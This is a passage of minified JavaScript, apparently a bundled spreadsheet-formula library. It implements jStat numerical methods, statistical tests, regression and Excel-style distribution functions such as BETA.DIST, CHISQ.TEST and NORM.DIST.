u,i,f,c,l,s=0,h=t.length,g=[],v=[],p=[];s<h;s++)for(g[s]=[],v[s]=[],p[s]=[],u=0;u<h;u++)s>u?(g[s][u]=t[s][u],v[s][u]=p[s][u]=0):s<u?(v[s][u]=t[s][u],g[s][u]=p[s][u]=0):(p[s][u]=t[s][u],g[s][u]=v[s][u]=0);for(c=r.multiply(r.multiply(r.inv(r.add(p,g)),v),-1),f=r.multiply(r.inv(r.add(p,g)),e),i=o,l=r.add(r.multiply(c,o),f),s=2;n.abs(r.norm(r.subtract(l,i)))>a;)i=l,l=r.add(r.multiply(c,i),f),s+=1;return l},SOR:function(t,e,o,a,u){for(var i,f,c,l,s,h=0,g=t.length,v=[],p=[],m=[];h<g;h++)for(v[h]=[],p[h]=[],m[h]=[],i=0;i<g;i++)h>i?(v[h][i]=t[h][i],p[h][i]=m[h][i]=0):h<i?(p[h][i]=t[h][i],v[h][i]=m[h][i]=0):(m[h][i]=t[h][i],v[h][i]=p[h][i]=0);for(l=r.multiply(r.inv(r.add(m,r.multiply(v,u))),r.subtract(r.multiply(m,1-u),r.multiply(p,u))),c=r.multiply(r.multiply(r.inv(r.add(m,r.multiply(v,u))),e),u),f=o,s=r.add(r.multiply(l,o),c),h=2;n.abs(r.norm(r.subtract(s,f)))>a;)f=s,s=r.add(r.multiply(l,f),c),h++;return s},householder:function(t){for(var e,o,a,u,i=t.length,f=t[0].length,c=0,l=[],s=[];c<i-1;c++){for(e=0,u=c+1;u<f;u++)e+=t[u][c]*t[u][c];for(e=(t[c+1][c]>0?-1:1)*n.sqrt(e),o=n.sqrt((e*e-t[c+1][c]*e)/2),(l=r.zeros(i,1))[c+1][0]=(t[c+1][c]-e)/(2*o),a=c+2;a<i;a++)l[a][0]=t[a][c]/(2*o);s=r.subtract(r.identity(i,f),r.multiply(r.multiply(l,r.transpose(l)),2)),t=r.multiply(s,r.multiply(t,s))}return t},QR:function(){var t=r.sum,e=r.arange;function o(o){var a,u,i,f=o.length,c=o[0].length,l=r.zeros(c,c);for(o=r.copy(o),u=0;u<c;u++){for(l[u][u]=n.sqrt(t(e(f).map((function(r){return o[r][u]*o[r][u]})))),a=0;a<f;a++)o[a][u]=o[a][u]/l[u][u];for(i=u+1;i<c;i++)for(l[u][i]=t(e(f).map((function(r){return o[r][u]*o[r][i]}))),a=0;a<f;a++)o[a][i]=o[a][i]-o[a][u]*l[u][i]}return[o,l]}return o}(),lstsq:function(){function n(n){var t=(n=r.copy(n)).length,e=r.identity(t);return r.arange(t-1,-1,-1).forEach((function(t){r.sliceAssign(e,{row:t},r.divide(r.slice(e,{row:t}),n[t][t])),r.sliceAssign(n,{row:t},r.divide(r.slice(n,{row:t}),n[t][t])),r.arange(t).forEach((function(o){var a=r.multiply(n[o][t],-1),u=r.slice(n,{row:o}),i=r.multiply(r.slice(n,{row:t}),a);r.sliceAssign(n,{row:o},r.add(u,i));var f=r.slice(e,{row:o}),c=r.multiply(r.slice(e,{row:t}),a);r.sliceAssign(e,{row:o},r.add(f,c))}))})),e}function t(t,e){var o=!1;void 0===e[0].length&&(e=e.map((function(r){return[r]})),o=!0);var a=r.QR(t),u=a[0],i=a[1],f=t[0].length,c=r.slice(u,{col:{end:f}}),l=n(r.slice(i,{row:{end:f}})),s=r.transpose(c);void 0===s[0].length&&(s=[s]);var h=r.multiply(r.multiply(l,s),e);return void 0===h.length&&(h=[[h]]),o?h.map((function(r){return r[0]})):h}return t}(),jacobi:function(t){for(var e,o,a,u,i,f,c,l=1,s=t.length,h=r.identity(s,s),g=[];1===l;){for(i=t[0][1],a=0,u=1,e=0;e<s;e++)for(o=0;o<s;o++)e!=o&&i<n.abs(t[e][o])&&(i=n.abs(t[e][o]),a=e,u=o);for(f=t[a][a]===t[u][u]?t[a][u]>0?n.PI/4:-n.PI/4:n.atan(2*t[a][u]/(t[a][a]-t[u][u]))/2,(c=r.identity(s,s))[a][a]=n.cos(f),c[a][u]=-n.sin(f),c[u][a]=n.sin(f),c[u][u]=n.cos(f),h=r.multiply(h,c),t=r.multiply(r.multiply(r.inv(c),t),c),l=0,e=1;e<s;e++)for(o=1;o<s;o++)e!=o&&n.abs(t[e][o])>.001&&(l=1)}for(e=0;e<s;e++)g.push(t[e][e]);return[h,g]},rungekutta:function(r,n,t,e,o,a){var u,i,f;if(2===a)for(;e<=t;)o+=((u=n*r(e,o))+(i=n*r(e+n,o+u)))/2,e+=n;if(4===a)for(;e<=t;)o+=((u=n*r(e,o))+2*(i=n*r(e+n/2,o+u/2))+2*(f=n*r(e+n/2,o+i/2))+n*r(e+n,o+f))/6,e+=n;return o},romberg:function(r,t,e,o){for(var a,u,i,f,c,l=0,s=(e-t)/2,h=[],g=[],v=[];l<o/2;){for(c=r(t),i=t,f=0;i<=e;i+=s,f++)h[f]=i;for(a=h.length,i=1;i<a-1;i++)c+=(i%2!=0?4:2)*r(h[i]);c=s/3*(c+r(e)),v[l]=c,s/=2,l++}for(u=v.length,a=1;1!==u;){for(i=0;i<u-1;i++)g[i]=(n.pow(4,a)*v[i+1]-v[i])/(n.pow(4,a)-1);u=g.length,v=g,g=[],a++}return v},richardson:function(r,t,e,o){function a(r,n){for(var t,e=0,o=r.length;e<o;e++)r[e]===n&&(t=e);return t}for(var u,i,f,c,l,s=n.abs(e-r[a(r,e)+1]),h=0,g=[],v=[];o>=s;)u=a(r,e+o),i=a(r,e),g[h]=(t[u]-2*t[i]+t[2*i-u])/(o*o),o/=2,h++;for(c=g.length,f=1;1!=c;){for(l=0;l<c-1;l++)v[l]=(n.pow(4,f)*g[l+1]-g[l])/(n.pow(4,f)-1);c=v.length,g=v,v=[],f++}return g},simpson:function(r,n,t,e){for(var o,a=(t-n)/e,u=r(n),i=[],f=n,c=0,l=1;f<=t;f+=a,c++)i[c]=f;for(o=i.length;l<o-1;l++)u+=(l%2!=0?4:2)*r(i[l]);return a/3*(u+r(t))},hermite:function(r,n,t,e){for(var o,a=r.length,u=0,i=0,f=[],c=[],l=[],s=[];i<a;i++){for(f[i]=1,o=0;o<a;o++)i!=o&&(f[i]*=(e-r[o])/(r[i]-r[o]));for(c[i]=0,o=0;o<a;o++)i!=o&&(c[i]+=1/(r[i]-r[o]));l[i]=(1-2*(e-r[i])*c[i])*(f[i]*f[i]),s[i]=(e-r[i])*(f[i]*f[i]),u+=l[i]*n[i]+s[i]*t[i]}return u},lagrange:function(r,n,t){for(var e,o,a=0,u=0,i=r.length;u<i;u++){for(o=n[u],e=0;e<i;e++)u!=e&&(o*=(t-r[e])/(r[u]-r[e]));a+=o}return a},cubic_spline:function(n,t,e){for(var o,a=n.length,u=0,i=[],f=[],c=[],l=[],s=[],h=[],g=[];u<a-1;u++)s[u]=n[u+1]-n[u];for(c[0]=0,u=1;u<a-1;u++)c[u]=3/s[u]*(t[u+1]-t[u])-3/s[u-1]*(t[u]-t[u-1]);for(u=1;u<a-1;u++)i[u]=[],f[u]=[],i[u][u-1]=s[u-1],i[u][u]=2*(s[u-1]+s[u]),i[u][u+1]=s[u],f[u][0]=c[u];for(l=r.multiply(r.inv(i),f),o=0;o<a-1;o++)h[o]=(t[o+1]-t[o])/s[o]-s[o]*(l[o+1][0]+2*l[o][0])/3,g[o]=(l[o+1][0]-l[o][0])/(3*s[o]);for(o=0;o<a&&!(n[o]>e);o++);return t[o-=1]+(e-n[o])*h[o]+r.sq(e-n[o])*l[o]+(e-n[o])*r.sq(e-n[o])*g[o]},gauss_quadrature:function(){throw new Error("gauss_quadrature not yet implemented")},PCA:function(n){var t,e,o=n.length,a=n[0].length,u=0,i=[],f=[],c=[],l=[],s=[],h=[],g=[],v=[],p=[],m=[];for(u=0;u<o;u++)i[u]=r.sum(n[u])/a;for(u=0;u<a;u++)for(g[u]=[],t=0;t<o;t++)g[u][t]=n[t][u]-i[t];for(g=r.transpose(g),u=0;u<o;u++)for(v[u]=[],t=0;t<o;t++)v[u][t]=r.dot([g[u]],[g[t]])/(a-1);for(p=(c=r.jacobi(v))[0],f=c[1],m=r.transpose(p),u=0;u<f.length;u++)for(t=u;t<f.length;t++)f[u]<f[t]&&(e=f[u],f[u]=f[t],f[t]=e,l=m[u],m[u]=m[t],m[t]=l);for(h=r.transpose(g),u=0;u<o;u++)for(s[u]=[],t=0;t<h.length;t++)s[u][t]=r.dot([m[u]],[h[t]]);return[n,f,m,s]}}),function(n){for(var t=0;t<n.length;t++)!function(n){r.fn[n]=function(t,e){var o=this;return e?(setTimeout((function(){e.call(o,r.fn[n].call(o,t))}),15),this):"number"==typeof r[n](this,t)?r[n](this,t):r(r[n](this,t))}}(n[t])}("add divide multiply subtract dot pow exp log abs norm angle".split(" "))}(r,Math),function(r,n){var t=[].slice,e=r.utils.isNumber,o=r.utils.isArray;function a(r,t,e,o){if(r>1||e>1||r<=0||e<=0)throw new Error("Proportions should be greater than 0 and less than 1");var a=(r*t+e*o)/(t+o);return(r-e)/n.sqrt(a*(1-a)*(1/t+1/o))}r.extend({zscore:function(){var n=t.call(arguments);return e(n[1])?(n[0]-n[1])/n[2]:(n[0]-r.mean(n[1]))/r.stdev(n[1],n[2])},ztest:function(){var e,a=t.call(arguments);return o(a[1])?(e=r.zscore(a[0],a[1],a[3]),1===a[2]?r.normal.cdf(-n.abs(e),0,1):2*r.normal.cdf(-n.abs(e),0,1)):a.length>2?(e=r.zscore(a[0],a[1],a[2]),1===a[3]?r.normal.cdf(-n.abs(e),0,1):2*r.normal.cdf(-n.abs(e),0,1)):(e=a[0],1===a[1]?r.normal.cdf(-n.abs(e),0,1):2*r.normal.cdf(-n.abs(e),0,1))}}),r.extend(r.fn,{zscore:function(r,n){return(r-this.mean())/this.stdev(n)},ztest:function(t,e,o){var a=n.abs(this.zscore(t,o));return 1===e?r.normal.cdf(-a,0,1):2*r.normal.cdf(-a,0,1)}}),r.extend({tscore:function(){var e=t.call(arguments);return 4===e.length?(e[0]-e[1])/(e[2]/n.sqrt(e[3])):(e[0]-r.mean(e[1]))/(r.stdev(e[1],!0)/n.sqrt(e[1].length))},ttest:function(){var o,a=t.call(arguments);return 5===a.length?(o=n.abs(r.tscore(a[0],a[1],a[2],a[3])),1===a[4]?r.studentt.cdf(-o,a[3]-1):2*r.studentt.cdf(-o,a[3]-1)):e(a[1])?(o=n.abs(a[0]),1==a[2]?r.studentt.cdf(-o,a[1]-1):2*r.studentt.cdf(-o,a[1]-1)):(o=n.abs(r.tscore(a[0],a[1])),1==a[2]?r.studentt.cdf(-o,a[1].length-1):2*r.studentt.cdf(-o,a[1].length-1))}}),r.extend(r.fn,{tscore:function(r){return(r-this.mean())/(this.stdev(!0)/n.sqrt(this.cols()))},ttest:function(t,e){return 1===e?1-r.studentt.cdf(n.abs(this.tscore(t)),this.cols()-1):2*r.studentt.cdf(-n.abs(this.tscore(t)),this.cols()-1)}}),r.extend({anovafscore:function(){var e,o,a,u,i,f,c,l,s=t.call(arguments);if(1===s.length){for(i=new Array(s[0].length),c=0;c<s[0].length;c++)i[c]=s[0][c];s=i}for(o=new Array,c=0;c<s.length;c++)o=o.concat(s[c]);for(a=r.mean(o),e=0,c=0;c<s.length;c++)e+=s[c].length*n.pow(r.mean(s[c])-a,2);for(e/=s.length-1,f=0,c=0;c<s.length;c++)for(u=r.mean(s[c]),l=0;l<s[c].length;l++)f+=n.pow(s[c][l]-u,2);return e/(f/=o.length-s.length)},anovaftest:function(){var n,o,a,u,i=t.call(arguments);if(e(i[0]))return 1-r.centralF.cdf(i[0],i[1],i[2]);var f=r.anovafscore(i);for(n=i.length-1,a=0,u=0;u<i.length;u++)a+=i[u].length;return o=a-n-1,1-r.centralF.cdf(f,n,o)},ftest:function(n,t,e){return 1-r.centralF.cdf(n,t,e)}}),r.extend(r.fn,{anovafscore:function(){return r.anovafscore(this.toArray())},anovaftes:function(){var n,t=0;for(n=0;n<this.length;n++)t+=this[n].length;return r.ftest(this.anovafscore(),this.length-1,t-this.length)}}),r.extend({qscore:function(){var o,a,u,i,f,c=t.call(arguments);return e(c[0])?(o=c[0],a=c[1],u=c[2],i=c[3],f=c[4]):(o=r.mean(c[0]),a=r.mean(c[1]),u=c[0].length,i=c[1].length,f=c[2]),n.abs(o-a)/(f*n.sqrt((1/u+1/i)/2))},qtest:function(){var n,e=t.call(arguments);3===e.length?(n=e[0],e=e.slice(1)):7===e.length?(n=r.qscore(e[0],e[1],e[2],e[3],e[4]),e=e.slice(5)):(n=r.qscore(e[0],e[1],e[2]),e=e.slice(3));var o=e[0],a=e[1];return 1-r.tukey.cdf(n,a,o-a)},tukeyhsd:function(n){for(var t=r.pooledstdev(n),e=n.map((function(n){return r.mean(n)})),o=n.reduce((function(r,n){return r+n.length}),0),a=[],u=0;u<n.length;++u)for(var i=u+1;i<n.length;++i){var f=r.qtest(e[u],e[i],n[u].length,n[i].length,t,o,n.length);a.push([[u,i],f])}return a}}),r.extend({normalci:function(){var e,o=t.call(arguments),a=new Array(2);return e=4===o.length?n.abs(r.normal.inv(o[1]/2,0,1)*o[2]/n.sqrt(o[3])):n.abs(r.normal.inv(o[1]/2,0,1)*r.stdev(o[2])/n.sqrt(o[2].length)),a[0]=o[0]-e,a[1]=o[0]+e,a},tci:function(){var e,o=t.call(arguments),a=new Array(2);return e=4===o.length?n.abs(r.studentt.inv(o[1]/2,o[3]-1)*o[2]/n.sqrt(o[3])):n.abs(r.studentt.inv(o[1]/2,o[2].length-1)*r.stdev(o[2],!0)/n.sqrt(o[2].length)),a[0]=o[0]-e,a[1]=o[0]+e,a},significant:function(r,n){return r<n}}),r.extend(r.fn,{normalci:function(n,t){return r.normalci(n,t,this.toArray())},tci:function(n,t){return r.tci(n,t,this.toArray())}}),r.extend(r.fn,{oneSidedDifferenceOfProportions:function(n,t,e,o){var u=a(n,t,e,o);return r.ztest(u,1)},twoSidedDifferenceOfProportions:function(n,t,e,o){var u=a(n,t,e,o);return r.ztest(u,2)}})}(r,Math),r.models=function(){function n(n){var e=n[0].length;return r.arange(e).map((function(o){var a=r.arange(e).filter((function(r){return r!==o}));return t(r.col(n,o).map((function(r){return r[0]})),r.col(n,a))}))}function t(n,t){var e=n.length,o=t[0].length-1,a=e-o-1,u=r.lstsq(t,n),i=r.multiply(t,u.map((function(r){return[r]}))).map((function(r){return r[0]})),f=r.subtract(n,i),c=r.mean(n),l=r.sum(i.map((function(r){return Math.pow(r-c,2)}))),s=r.sum(n.map((function(r,n){return Math.pow(r-i[n],2)}))),h=l+s;return{exog:t,endog:n,nobs:e,df_model:o,df_resid:a,coef:u,predict:i,resid:f,ybar:c,SST:h,SSE:l,SSR:s,R2:l/h}}function e(t){var e=n(t.exog),o=Math.sqrt(t.SSR/t.df_resid),a=e.map((function(r){var n=r.SST,t=r.R2;return o/Math.sqrt(n*(1-t))})),u=t.coef.map((function(r,n){return(r-0)/a[n]})),i=u.map((function(n){var e=r.studentt.cdf(n,t.df_resid);return 2*(e>.5?1-e:e)})),f=r.studentt.inv(.975,t.df_resid),c=t.coef.map((function(r,n){var t=f*a[n];return[r-t,r+t]}));return{se:a,t:u,p:i,sigmaHat:o,interval95:c}}function o(n){var t,e,o,a=n.R2/n.df_model/((1-n.R2)/n.df_resid);return{F_statistic:a,pvalue:1-(t=a,e=n.df_model,o=n.df_resid,r.beta.cdf(t/(o/e+t),e/2,o/2))}}function a(r,n){var a=t(r,n),u=e(a),i=o(a),f=1-(1-a.R2)*((a.nobs-1)/a.df_resid);return a.t=u,a.f=i,a.adjust_R2=f,a}return{ols:a}}(),r.extend({buildxmatrix:function(){for(var n=new Array(arguments.length),t=0;t<arguments.length;t++){var e=[1];n[t]=e.concat(arguments[t])}return r(n)},builddxmatrix:function(){for(var n=new Array(arguments[0].length),t=0;t<arguments[0].length;t++){var e=[1];n[t]=e.concat(arguments[0][t])}return r(n)},buildjxmatrix:function(n){for(var t=new Array(n.length),e=0;e<n.length;e++)t[e]=n[e];return r.builddxmatrix(t)},buildymatrix:function(n){return r(n).transpose()},buildjymatrix:function(r){return r.transpose()},matrixmult:function(n,t){var e,o,a,u,i;if(n.cols()==t.rows()){if(t.rows()>1){for(u=[],e=0;e<n.rows();e++)for(u[e]=[],o=0;o<t.cols();o++){for(i=0,a=0;a<n.cols();a++)i+=n.toArray()[e][a]*t.toArray()[a][o];u[e][o]=i}return r(u)}for(u=[],e=0;e<n.rows();e++)for(u[e]=[],o=0;o<t.cols();o++){for(i=0,a=0;a<n.cols();a++)i+=n.toArray()[e][a]*t.toArray()[o];u[e][o]=i}return r(u)}},regress:function(n,t){var e=r.xtranspxinv(n),o=n.transpose(),a=r.matrixmult(r(e),o);return r.matrixmult(a,t)},regresst:function(n,t,e){var o=r.regress(n,t),a={anova:{}},u=r.jMatYBar(n,o);a.yBar=u;var i=t.mean();a.anova.residuals=r.residuals(t,u),a.anova.ssr=r.ssr(u,i),a.anova.msr=a.anova.ssr/(n[0].length-1),a.anova.sse=r.sse(t,u),a.anova.mse=a.anova.sse/(t.length-(n[0].length-1)-1),a.anova.sst=r.sst(t,i),a.anova.mst=a.anova.sst/(t.length-1),a.anova.r2=1-a.anova.sse/a.anova.sst,a.anova.r2<0&&(a.anova.r2=0),a.anova.fratio=a.anova.msr/a.anova.mse,a.anova.pvalue=r.anovaftest(a.anova.fratio,n[0].length-1,t.length-(n[0].length-1)-1),a.anova.rmse=Math.sqrt(a.anova.mse),a.anova.r2adj=1-a.anova.mse/a.anova.mst,a.anova.r2adj<0&&(a.anova.r2adj=0),a.stats=new Array(n[0].length);for(var f,c,l,s=r.xtranspxinv(n),h=0;h<o.length;h++)f=Math.sqrt(a.anova.mse*Math.abs(s[h][h])),c=Math.abs(o[h]/f),l=r.ttest(c,t.length-n[0].length-1,e),a.stats[h]=[o[h],f,c,l];return a.regress=o,a},xtranspx:function(n){return r.matrixmult(n.transpose(),n)},xtranspxinv:function(n){var t=r.matrixmult(n.transpose(),n);return r.inv(t)},jMatYBar:function(n,t){var e=r.matrixmult(n,t);return new r(e)},residuals:function(n,t){return r.matrixsubtract(n,t)},ssr:function(r,n){for(var t=0,e=0;e<r.length;e++)t+=Math.pow(r[e]-n,2);return t},sse:function(r,n){for(var t=0,e=0;e<r.length;e++)t+=Math.pow(r[e]-n[e],2);return t},sst:function(r,n){for(var t=0,e=0;e<r.length;e++)t+=Math.pow(r[e]-n,2);return t},matrixsubtract:function(n,t){for(var e=new Array(n.length),o=0;o<n.length;o++){e[o]=new Array(n[o].length);for(var a=0;a<n[o].length;a++)e[o][a]=n[o][a]-t[o][a]}return r(e)}}),r.jStat=r,r}()}(er)),er.exports),ar=nr(or);function ur(){for(var r=[],n=0;n<arguments.length;++n){for(var t=!1,e=arguments[n],o=0;o<r.length&&!(t=r[o]===e);++o);t||r.push(e)}return r}function ir(r,n,t,e){if(!n||!t)return i;e=!(0===e||!1===e);for(var a=i,u=!1,f="number"==typeof r,c="string"==typeof r?r.toLowerCase():r,l=0;l<n.length;l++){var s=n[l],h="string"==typeof s[0]?s[0].toLowerCase():s[0];if(h===c){a=t<s.length+1?s[t-1]:o;break}!u&&(f&&e&&h<=r||e&&"string"==typeof h&&h.localeCompare(r)<0)&&(a=t<s.length+1?s[t-1]:o),f&&h>r&&(u=!0)}return a}function fr(r){return 0===(r=j(r))?e:r instanceof Error?r:String.fromCharCode(r)}function cr(r){if(F(r))return r;var n=(r=r||"").charCodeAt(0);return isNaN(n)&&(n=e),n}function lr(){var r=C(arguments),n=q.apply(void 0,r);if(n)return n;for(var t=0;(t=r.indexOf(!0))>-1;)r[t]="TRUE";for(var e=0;(e=r.indexOf(!1))>-1;)r[e]="FALSE";return r.join("")}var sr=lr;function hr(r){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:2,t=arguments.length>2&&void 0!==arguments[2]&&arguments[2];if(r=j(r),isNaN(r))return e;if(n=j(n),isNaN(n))return e;if(n<0){var o=Math.pow(10,-n);r=Math.round(r/o)*o}else r=r.toFixed(n);if(t)r=r.toString().replace(/,/g,"");else{var a=r.toString().split(".");a[0]=a[0].replace(/\B(?=(\d{3})+$)/g,","),r=a.join(".")}return r}function gr(r,n){var t=q(r,n);return t||(r=Y(r),(n=j(n))instanceof Error?n:new Array(n+1).join(r))}function vr(r){return r instanceof Error||"string"==typeof r?r:""}var pr=fr,mr=cr;function dr(){var r=C(arguments).filter(W);if(0===r.length)return t;var n=q.apply(void 0,r);if(n)return n;for(var e,o=V(r),a=o.length,i=0,f=0,c=0;c<a;c++)i+=o[c],f+=1;return e=i/f,isNaN(e)&&(e=u),e}function Mr(){var r=C(arguments).filter(W);if(0===r.length)return t;var n=q.apply(void 0,r);if(n)return n;for(var e,o=r,a=o.length,i=0,f=0,c=0;c<a;c++){var l=o[c];"number"==typeof l&&(i+=l),!0===l&&i++,null!==l&&f++}return e=i/f,isNaN(e)&&(e=u),e}var yr={DIST:function(r,n,t,o,a,u){return arguments.length<4?e:(a=void 0===a?0:a,u=void 0===u?1:u,F(r=j(r),n=j(n),t=j(t),a=j(a),u=j(u))?e:(r=(r-a)/(u-a),o?ar.beta.cdf(r,n,t):ar.beta.pdf(r,n,t)))},INV:function(r,n,t,o,a){return o=void 0===o?0:o,a=void 0===a?1:a,F(r=j(r),n=j(n),t=j(t),o=j(o),a=j(a))?e:ar.beta.inv(r,n,t)*(a-o)+o}},Er={DIST:function(r,n,t,o){return F(r=j(r),n=j(n),t=j(t),o=j(o))?e:o?ar.binomial.cdf(r,n,t):ar.binomial.pdf(r,n,t)}};Er.DIST.RANGE=function(r,n,t,o){if(o=void 0===o?t:o,F(r=j(r),n=j(n),t=j(t),o=j(o)))return e;for(var a=0,u=t;u<=o;u++)a+=en(r,u)*Math.pow(n,u)*Math.pow(1-n,r-u);return a},Er.INV=function(r,n,t){if(F(r=j(r),n=j(n),t=j(t)))return e;for(var o=0;o<=r;){if(ar.binomial.cdf(o,r,n)>=t)return o;o++}};var Nr={DIST:function(r,n,t){return F(r=j(r),n=j(n))?e:t?ar.chisquare.cdf(r,n):ar.chisquare.pdf(r,n)}};Nr.DIST.RT=function(r,n){return!r|!n?i:r<1||n>Math.pow(10,10)?u:"number"!=typeof r||"number"!=typeof n?e:1-ar.chisquare.cdf(r,n)},Nr.INV=function(r,n){return F(r=j(r),n=j(n))?e:ar.chisquare.inv(r,n)},Nr.INV.RT=function(r,n){return!r|!n?i:r<0||r>1||n<1||n>Math.pow(10,10)?u:"number"!=typeof r||"number"!=typeof n?e:ar.chisquare.inv(1-r,n)},Nr.TEST=function(r,n){if(2!==arguments.length)return i;if(!(r instanceof Array&&n instanceof Array))return e;if(r.length!==n.length)return e;if(r[0]&&n[0]&&r[0].length!==n[0].length)return e;var t,o,a,u=r.length;for(o=0;o<u;o++)r[o]instanceof Array||(t=r[o],r[o]=[],r[o].push(t)),n[o]instanceof Array||(t=n[o],n[o]=[],n[o].push(t));var f=r[0].length,c=1===f?u-1:(u-1)*(f-1),l=0,s=Math.PI;for(o=0;o<u;o++)for(a=0;a<f;a++)l+=Math.pow(r[o][a]-n[o][a],2)/n[o][a];return Math.round(1e6*function(r,n){var t=Math.exp(-.5*r);n%2==1&&(t*=Math.sqrt(2*r/s));for(var e=n;e>=2;)t=t*r/e,e-=2;for(var o=t,a=n;o>1e-10*t;)t+=o=o*r/(a+=2);return 1-t}(l,c))/1e6};var br={};function Ir(){return V(C(arguments)).length}function wr(){var r=C(arguments);return r.length-Sr(r)}function Sr(){for(var r,n=C(arguments),t=0,e=0;e<n.length;e++)null!=(r=n[e])&&""!==r||t++;return t}br.NORM=function(r,n,t){return F(r=j(r),n=j(n),t=j(t))?e:ar.normalci(1,r,n,t)[1]-1},br.T=function(r,n,t){return F(r=j(r),n=j(n),t=j(t))?e:ar.tci(1,r,n,t)[1]-1};var Tr={};Tr.P=function(r,n){if(F(r=H(C(r)),n=H(C(n))))return e;for(var t=ar.mean(r),o=ar.mean(n),a=0,u=r.length,i=0;i<u;i++)a+=(r[i]-t)*(n[i]-o);return a/u},Tr.S=function(r,n){return F(r=H(C(r)),n=H(C(n)))?e:ar.covariance(r,n)};var Ar={DIST:function(r,n,t){return F(r=j(r),n=j(n))?e:t?ar.exponential.cdf(r,n):ar.exponential.pdf(r,n)}},xr={};function Dr(r,n,t){if(F(r=j(r),n=H(C(n)),t=H(C(t))))return e;for(var o=ar.mean(t),a=ar.mean(n),u=t.length,i=0,f=0,c=0;c<u;c++)i+=(t[c]-o)*(n[c]-a),f+=Math.pow(t[c]-o,2);var l=i/f;return a-l*o+l*r}function Cr(r){return(r=j(r))instanceof Error?r:0===r||parseInt(r,10)===r&&r<0?u:ar.gammafn(r)}function Rr(r){return(r=j(r))instanceof Error?r:ar.gammaln(r)}xr.DIST=function(r,n,t,o){return F(r=j(r),n=j(n),t=j(t))?e:o?ar.centralF.cdf(r,n,t):ar.centralF.pdf(r,n,t)},xr.DIST.RT=function(r,n,t){return 3!==arguments.length?i:r<0||n<1||t<1?u:"number"!=typeof r||"number"!=typeof n||"number"!=typeof t?e:1-ar.centralF.cdf(r,n,t)},xr.INV=function(r,n,t){return F(r=j(r),n=j(n),t=j(t))?e:r<=0||r>1?u:ar.centralF.inv(r,n,t)},xr.INV.RT=function(r,n,t){return 3!==arguments.length?i:r<0||r>1||n<1||n>Math.pow(10,10)||t<1||t>Math.pow(10,10)?u:"number"!=typeof r||"number"!=typeof n||"number"!=typeof t?e:ar.centralF.inv(1-r,n,t)},xr.TEST=function(r,n){if(!r||!n)return i;if(!(r instanceof Array&&n instanceof Array))return i;if(r.length<2||n.length<2)return t;var e=function(r,n){for(var t=0,e=0;e<r.length;e++)t+=Math.pow(r[e]-n,2);return t},o=hn(r)/r.length,a=hn(n)/n.length;return e(r,o)/(r.length-1)/(e(n,a)/(n.length-1))},Cr.DIST=function(r,n,t,o){return 4!==arguments.length?i:r<0||n<=0||t<=0||"number"!=typeof r||"number"!=typeof n||"number"!=typeof t?e:o?ar.gamma.cdf(r,n,t,!0):ar.gamma.pdf(r,n,t,!1)},Cr.INV=function(r,n,t){return 3!==arguments.length?i:r<0||r>1||n<=0||t<=0?u:"number"!=typeof r||"number"!=typeof n||"number"!=typeof t?e:ar.gamma.inv(r,n,t)},Rr.PRECISE=function(r){return 1!==arguments.length?i:r<=0?u:"number"!=typeof r?e:ar.gammaln(r)};var Or={};function Pr(r,n){var t=q.apply(void 0,r);return t||(F(n)?n:(r=V(C(r)),(n=j(n))<0||r.length<n?e:r.sort((function(r,n){return n-r}))[n-1]))}function Lr(r,n){if(F(r=H(C(r)),n=H(C(n))))return e;for(var t=ar.mean(r),o=ar.mean(n),a=n.length,u=0,i=0,f=0;f<a;f++)u+=(n[f]-o)*(r[f]-t),i+=Math.pow(n[f]-o,2);var c=u/i;return[c,t-c*o]}Or.DIST=function(r,n,t,o,a){if(F(r=j(r),n=j(n),t=j(t),o=j(o)))return e;function u(r,n,t,e){return en(t,r)*en(e-t,n-r)/en(e,n)}return a?function(r,n,t,e){for(var o=0,a=0;a<=r;a++)o+=u(a,n,t,e);return o}(r,n,t,o):u(r,n,t,o)};var _r={};function qr(){var r=C(arguments),n=q.apply(void 0,r);if(n)return n;var t=V(r);return 0===t.length?0:Math.max.apply(Math,t)}function Fr(){var r=C(arguments),n=q.apply(void 0,r);if(n)return n;var t=x(r),e=ar.median(t);return isNaN(e)&&(e=u),e}function Ur(){var r=C(arguments),n=q.apply(void 0,r);if(n)return n;var t=V(r);return 0===t.length?0:Math.min.apply(Math,t)}_r.DIST=function(r,n,t,o){return F(r=j(r),n=j(n),t=j(t))?e:o?ar.lognormal.cdf(r,n,t):ar.lognormal.pdf(r,n,t)},_r.INV=function(r,n,t){return F(r=j(r),n=j(n),t=j(t))?e:ar.lognormal.inv(r,n,t)};var Vr={MULT:function(){var r=H(C(arguments));if(r instanceof Error)return r;for(var n,t=r.length,e={},o=[],a=0,u=0;u<t;u++)e[n=r[u]]=e[n]?e[n]+1:1,e[n]>a&&(a=e[n],o=[]),e[n]===a&&(o[o.length]=n);return o},SNGL:function(){var r=H(C(arguments));return r instanceof Error?r:Vr.MULT(r).sort((function(r,n){return r-n}))[0]}},kr={DIST:function(r,n,t,o){return F(r=j(r),n=j(n),t=j(t))?e:o?ar.negbin.cdf(r,n,t):ar.negbin.pdf(r,n,t)}},Gr={};function Xr(r,n){if(F(n=H(C(n)),r=H(C(r))))return e;for(var t=ar.mean(r),o=ar.mean(n),a=r.length,u=0,i=0,f=0,c=0;c<a;c++)u+=(r[c]-t)*(n[c]-o),i+=Math.pow(r[c]-t,2),f+=Math.pow(n[c]-o,2);return u/Math.sqrt(i*f)}Gr.DIST=function(r,n,t,o){return F(r=j(r),n=j(n),t=j(t))?e:t<=0?u:o?ar.normal.cdf(r,n,t):ar.normal.pdf(r,n,t)},Gr.INV=function(r,n,t){return F(r=j(r),n=j(n),t=j(t))?e:ar.normal.inv(r,n,t)},Gr.S={},Gr.S.DIST=function(r,n){return(r=j(r))instanceof Error?e:n?ar.normal.cdf(r,0,1):ar.normal.pdf(r,0,1)},Gr.S.INV=function(r){return(r=j(r))instanceof Error?e:ar.normal.inv(r,0,1)};var jr={EXC:function(r,n){if(F(r=H(C(r)),n=j(n)))return e;var t=(r=r.sort((function(r,n){return r-n}))).length;if(n<1/(t+1)||n>1-1/(t+1))return u;var o=n*(t+1)-1,a=Math.floor(o);return U(o===a?r[o]:r[a]+(o-a)*(r[a+1]-r[a]))},INC:function(r,n){if(F(r=H(C(r)),n=j(n)))return e;var t=n*((r=r.sort((function(r,n){return r-n}))).length-1),o=Math.floor(t);return U(t===o?r[t]:r[o]+(t-o)*(r[o+1]-r[o]))}},Hr={};Hr.EXC=function(r,n,t){if(t=void 0===t?3:t,F(r=H(C(r)),n=j(n),t=j(t)))return 